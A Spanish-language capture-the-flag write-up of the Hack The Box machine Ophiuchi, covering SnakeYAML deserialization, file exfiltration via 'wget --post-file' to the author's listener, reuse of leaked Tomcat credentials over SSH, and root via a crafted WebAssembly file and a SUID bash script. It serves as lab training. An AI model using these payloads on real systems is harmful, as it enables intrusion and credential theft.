This page looks best with JavaScript enabled

Hack The Box - Ophiuchi

Ophiuchi presenta una vulnerabilidad de deserializacion en java en YAML con la cual se obtuvieron credenciales de tomcat y acceso a la maquina. Mediante el analisis de un archivo en Go se creó un archivo WebAssembly para ejecutar un script en bash el cual proporciona permisos sobre bash para finalmente obtener acceso como root.

Nombre Ophiuchi box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.227
Maker

felamos

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[4.8, 5, 5.2, 4.8, 5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (8080) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.91 scan initiated Fri Apr  2 02:24:15 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.227
Warning: 10.10.10.227 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.227 (10.10.10.227)
Host is up (0.089s latency).
Not shown: 44312 closed ports, 21221 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

# Nmap done at Fri Apr  2 02:25:19 2021 -- 1 IP address (1 host up) scanned in 63.77 seconds

# Nmap 7.91 scan initiated Fri Apr  2 02:26:02 2021 as: nmap -p 22,8080 -sV -sC -oN servicesports 10.10.10.227
Nmap scan report for 10.10.10.227 (10.10.10.227)
Host is up (0.065s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr  2 02:26:12 2021 -- 1 IP address (1 host up) scanned in 10.10 seconds

HTTP

Encontramos una pagina web en el puerto 8080 en la cual es posible parsear sintaxis YAML, aunque al enviar una sintaxis se muestra un mensaje el cual indica que ha sido removida esta funcionalidad.
image
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
┌──(kali㉿kali)-[~/htb/ophiuchi]
└─$ gobuster dir -u http://10.10.10.227:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,yaml,bak -q -t 50
/test (Status: 302)
/manager (Status: 302)
/yaml (Status: 302)

TOMCAT

En las direcciones encontradas vemos el panel de login basico de TOMCAT.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
HTTP/1.1 401 
Cache-Control: private
Expires: Thu, 01 Jan 1970 00:00:00 GMT
WWW-Authenticate: Basic realm="Tomcat Manager Application"
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 2499
Date: Sat, 03 Apr 2021 06:08:57 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <head>
  <title>401 Unauthorized</title>
  <style type="text/css">
    <!--
    BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;font-size:12px;}
    H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;}
    PRE, TT {border: 1px dotted #525D76}
    A {color : black;}A.name {color : black;}
    -->
  </style>
 </head>
 <body>
   <h1>401 Unauthorized</h1>

Además logramos obtener la version realizando una solicitud a una direccion falsa.

1
2
3
┌──(kali㉿kali)-[~/htb/ophiuchi]
└─$ curl -s http://10.10.10.227:8080/batman |html2text|grep "Tomcat"
**** Apache Tomcat/9.0.38 ****

SNAKEYAML DESERIALIZATION

Volviendo a la pagina inicial, realizamos una busqueda de vulnerabilidades relacionadas a YAML en lenguaje Java. Encontramos una vulnerabilidad relacionada a la libreria snakeyaml en donde obtiene un payload el cual carga codigo para realizar una solicitud a la direccion dada, mediante ScriptEngineManager, en esta solicitud espera que el archivo o clase (.class) javax.script.ScriptEngineFactory exista en la direccion dada, dicha clase es cargada y ejecutada.

Utilizando un PoC que encontramos en Github modificamos AwesomeScriptEngineFactory.java en donde agregamos el comando ping hacia nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package sckull;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {            
            Runtime.getRuntime().exec(" ping -c 1 10.10.14.17 ");            
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    [... REDACTED ...]
}

Compilamos el codigo, además creamos un pequeño servidor de python en la carpeta src del repositorio, enviamos nuestro payload con nuestra direccion IP.

1
2
javac src/sckull/AwesomeScriptEngineFactory.java && jar -cvf yaml-payload.jar -C src/ .
# python3 -m http.server 80
1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.17/"]
  ]]
]

Logramos obtener una solicitud utilizando tcpdump.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/ophiuchi/yaml-payload]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
02:37:56.412303 IP 10.10.10.227 > 10.10.14.17: ICMP echo request, id 3, seq 1, length 64
02:37:56.412310 IP 10.10.14.17 > 10.10.10.227: ICMP echo reply, id 3, seq 1, length 64

Intentamos ejecutar diferentes comandos para shell inversa pero ninguno funció. Utilizamos wget para enumerar la maquina con diferentes archivos del sistem,a incialmente con /etc/passwd.

1
Runtime.getRuntime().exec("wget --post-file /etc/passwd http://10.10.14.17:1338/");

Con netcat a la escucha logramos obtener el archivo /etc/passwd, donde observamos algo interesante, el usuario tomcat tiene su directorio principal en /opt/tomcat.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/htb/ophiuchi]
└─$ nc -l -p 1338
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.17:1338
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1798

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
admin:x:1000:1000:,,,:/home/admin:/bin/bash

TOMCAT-USERS

Sabiendo esto probablemente el directorio de instalacion de Apache Tomcat esté en /opt/tomcat y al igual que la maquina TABBY - HTB podriamos obtener el archivo tomcat-users.xml donde se encuentran las credenciales de acceso al panel de tomcat. Descargamos la misma version v9.0.38 de Tomcat para verificar el directorio donde se encuentra el archivo. El archivo lo encontramos en conf/, realizamos la solicitud de este archivo el cual logramos encontrar en /opt/tomcat/conf/tomcat-users.xml.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/htb/ophiuchi]
└─$ nc -l -p 1338
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.17:1338
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2234

<?xml version="1.0" encoding="UTF-8"?>

[... REDACTED ...]

<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
        version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

[... REDACTED ...]

<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>

ADMIN - USER

Utilizamos las credenciales para obtener acceso al panel de tomcat, aunque, utilizando estas en el servicio SSH logramos obtener una shell y nuestra flag user.txt .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
┌──(kali㉿kali)-[~/htb/ophiuchi]
└─$ ssh admin@10.10.10.227 # whythereisalimit
admin@10.10.10.227's password: 
[... REDACTED ...]
admin@ophiuchi:~$ whoami;id;pwd
admin
uid=1000(admin) gid=1000(admin) groups=1000(admin)
/home/admin
admin@ophiuchi:~$ cat user.txt | cut -c1-15
71c0901a2150cf8
admin@ophiuchi:~$

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos sudo (root) para ejecutar el comando /usr/bin/go run /opt/wasm-functions/index.go.

Revisamos el codigo fuente de index.go, vemos que realiza la lectura de un archivo wasm utilizando la libreria wasmer, crea una nueva instancia y exporta la funcion info la cual ejecuta, finalmente verifica que el string de esta funcion ejecutada sea valor 1, si esto no se cumple imprime el mensaje Not ready to deploy, en caso contrario realiza la ejecucion de un script llamado deploy.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Dentro de la carpeta /opt/wasm-functions/ encontramos los archivos utilizados en index.go.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
admin@ophiuchi:~$ ls -lah /opt/wasm-functions/
total 3.9M
drwxr-xr-x 3 root root 4.0K Oct 14 19:52 .
drwxr-xr-x 5 root root 4.0K Oct 14 09:56 ..
drwxr-xr-x 2 root root 4.0K Oct 14 19:52 backup
-rw-r--r-- 1 root root   88 Oct 14 19:49 deploy.sh
-rwxr-xr-x 1 root root 2.5M Oct 14 19:52 index
-rw-rw-r-- 1 root root  522 Oct 14 19:48 index.go
-rwxrwxr-x 1 root root 1.5M Oct 14 19:41 main.wasm
admin@ophiuchi:~$ cat deploy.sh
#!/bin/bash

# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
admin@ophiuchi:~$

Si bien existen estos dos archivos (main.wasm, deploy.sh), en el codigo fuente no especifica la direccion completa de ambos, por lo que podriamos ejecutar index.go en cualquier carpeta y utilizar nuestro archivo main.wasm para provocar la ejecucion del script deploy.sh.

WASM.MAIN

Creamos un archivo wasm el cual contiene la funcion info y el resultado cuando es ejecutado es: 1, basandonos de un ejemplo de wasmer en rust, utilizando la plataforma webassembly en un proyecto vacio de RUST.
image

Dentro de main.js modificamos la funcion, para verificar el resultado.
image

Modificamos el archivo main.rs donde agregamos la funcion, compilamos y ejecutamos.
image

Vemos en la parte inferior derecha que el resultado es 1 cuando la funcion es llamada en main.js, además se creó el archivo main.wasm el cual descargamos.
image

ADMIN - WASM > ROOT

Descargamos el archivo main.wasm en la maquina, creamos el script deploy.sh con un pequeña ejecucion de comando en la carpeta /dev/shm. Vemos que nuestro script es ejecutado como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
admin@ophiuchi:/dev/shm$ touch deploy.sh 
admin@ophiuchi:/dev/shm$ vim deploy.sh 
admin@ophiuchi:/dev/shm$ cat deploy.sh 
echo "Hello I'm $(whoami)" > /dev/shm/whoami.txt
admin@ophiuchi:/dev/shm$ ls
deploy.sh  main.wasm
admin@ophiuchi:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

admin@ophiuchi:/dev/shm$ ls
deploy.sh  main.wasm  whoami.txt
admin@ophiuchi:/dev/shm$ cat whoami.txt 
Hello I'm root
admin@ophiuchi:/dev/shm$

Modificamos el script para darle permisos SUID a /bin/bash para obtener una shell como root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
admin@ophiuchi:/dev/shm$ ls -lah /bin/bash
-rwxr-xr-x 1 root root 1.2M Feb 25  2020 /bin/bash
admin@ophiuchi:/dev/shm$ vim deploy.sh 
admin@ophiuchi:/dev/shm$ cat deploy.sh 
#echo "Hello I'm $(whoami)" > /dev/shm/whoami.txt
chmod u+s /bin/bash
admin@ophiuchi:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

admin@ophiuchi:/dev/shm$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.2M Feb 25  2020 /bin/bash
admin@ophiuchi:/dev/shm$ bash -p
bash-5.0# 
bash-5.0# cd /root/
bash-5.0# ls
go  root.txt  snap
bash-5.0# cat root.txt | cut -c1-15
f86528dc1a751a5
bash-5.0#

YAML TOMCAT

Verificamos el codigo fuente de la aplicacion web desplegada en tomcat y vemos que la informacion enviada a /Servlet es cargada con la libreria snakeyaml, donde vemos tambien el codigo vulnerable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.yaml.snakeyaml.Yaml;

@WebServlet(name = "Servlet")
public class Servlet extends HttpServlet {
  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String f = request.getParameter("data");
    Yaml yaml = new Yaml();
    Object obj = yaml.load(f); //Vulnerable
    response.getWriter().append("Due to security reason this feature has been temporarily on hold. We will soon fix the issue!");
  }
  
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {}
}
Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe